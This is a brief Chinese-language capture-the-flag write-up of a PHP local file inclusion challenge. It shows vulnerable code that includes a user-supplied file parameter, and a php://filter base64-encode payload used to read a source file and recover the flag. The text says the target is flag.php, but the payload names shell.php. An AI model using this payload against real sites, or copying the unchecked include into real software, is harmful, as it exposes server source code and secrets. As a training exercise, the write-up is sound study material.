本文最后更新于149 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
一、访问网站
二、分析代码
<html>
<title>Here's a secret. Can you find it?</title>
<?php
if(isset($_GET['file'])){ $file = $_GET['file'];
include($file);
}else{ highlight_file(__FILE__);
}
?>
</html>
分析发现,只是很普通的文件包含
三、尝试访问flag.php文件
发现报错
四、尝试使用php伪协议
使用filter进行base64加密获取flag.php
file=php://filter/read=convert.base64-encode/resource=shell.php
五、进行解码
成功获取flag
总结
- php伪协议
- 使用filter伪协议进行base64加密获取flag